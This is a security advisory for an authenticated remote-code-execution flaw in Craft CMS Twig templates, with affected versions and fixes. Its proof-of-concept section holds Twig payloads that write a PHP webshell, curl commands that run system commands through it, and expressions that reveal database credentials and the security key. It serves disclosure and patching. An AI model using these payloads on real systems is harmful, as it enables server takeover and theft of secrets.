CriticalGHSA-v47q-jxvr-p68xCVE-2026-28697

Craft CMS Vulnerable to Authenticated RCE via "craft.app.fs.write()" in Twig Templates

Published 3 Mar 2026 · Updated 4 Mar 2026

Affected packages

craftcms/cmsComposer
Affected
>=5.0.0-RC1 <5.9.0-beta.1
Fixed in
5.9.0-beta.1
Update to the fixed version for your release line, for example:composer require craftcms/cms:^5.9.0-beta.1
craftcms/cmsComposer
Affected
>=4.0.0-RC1 <4.17.0-beta.1
Fixed in
4.17.0-beta.1
Update to the fixed version for your release line, for example:composer require craftcms/cms:^4.17.0-beta.1

Details

Summary

An authenticated administrator can achieve Remote Code Execution (RCE) by injecting a Server-Side Template Injection (SSTI) payload into Twig template fields (e.g., Email Templates). By calling the craft.app.fs.write() method, an attacker can write a malicious PHP script to a web-accessible directory and subsequently access it via the browser to execute arbitrary system commands.

---

Proof of Concept

Attack Prerequisites

  • Authenticated administrator account with allowAdminChanges enabled, or access to the System Messages utility

Steps to Reproduce

1. Navigate to Utilities → System Messages (/admin/utilities/system-messages) 2. Edit any email template (e.g., "Test Email") and inject the following in the body (or the Subject):

  • To exploit it by writing to a file system:
  • Note: Replace the filesystem handle (e.g., hardDisk) with a valid handle configured in the target installation.
		{{ craft.app.fs.getFilesystemByHandle('hardDisk').write('shell.php', '<?php isset($_GET["c"]) ? system($_GET["c"]) : null; ?>') }}
  • To exploit it by writing to a volume:
  • Note: Replace the volume handle (e.g., images) with a valid handle configured in the target installation.
		{{ craft.app.volumes.getVolumeByHandle('images').fs.write('shell.php', '<?php isset($_GET["c"]) ? system($_GET["c"]) : null; ?>') }}

<img width="982" height="901" alt="payload-injection" src="https://github.com/user-attachments/assets/86fbb99c-a551-4395-93a1-30e62e77c57e" /> 3. Save & go to Settings → Email (/admin/settings/email) 4. Click "Test" at the bottom of the page to trigger template rendering 5. The webshell is now written to the filesystem/volume. Access it via curl or directly from the browser: Note: The path might be different on your end depending on the filesystem or volume configuration.

	# For Filesystem
	curl "http://target.com/uploads/shell.php?c=id"
	# For Volume
	curl "http://target.com/uploads/images/shell.php?c=id"
	# Example Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

<img width="791" height="440" alt="rce-poc" src="https://github.com/user-attachments/assets/6a895609-bea0-459a-9659-0d1437f838f4" />

---

Additional Impact

The same craft.app exposure without any security measures enables additional attack vectors:

Database Credential Disclosure

Database credentials are stored in .env outside the webroot and are not accessible to admins through the UI. This bypasses that protection.

{{ craft.app.db.username }}
{{ craft.app.db.password }}
{{ craft.app.db.dsn }}

Security Key Disclosure

Craft explicitly redacts the security key from phpinfo and error logs, indicating it should be protected. However, craft.app.config.general.securityKey bypasses this protection.

{{ craft.app.config.general.securityKey }}

Recommended Fix

  • Add Twig sandbox rules to block write, writeFileFromStream, deleteFile, and similar destructive methods
  • Consider allowlist approach for craft.app properties accessible in templates rather than exposing the entire application

Resources

https://github.com/craftcms/cms/commit/9dc2a4a3ec8e9cd5e8c0d1129f36371437519197 https://github.com/craftcms/cms/pull/18219 https://github.com/craftcms/cms/pull/18216

Is GHSA-v47q-jxvr-p68x in any of your client repos?

Checking one package by hand is fine. Checking it across forty client projects is not. NPMscan reads the lockfiles in every GitHub repo you pick, finds each project with an affected craftcms/cms, and gives you the command that fixes it.

References

Advisory data from OSV.dev (opens OSV.dev in a new tab), refreshed daily.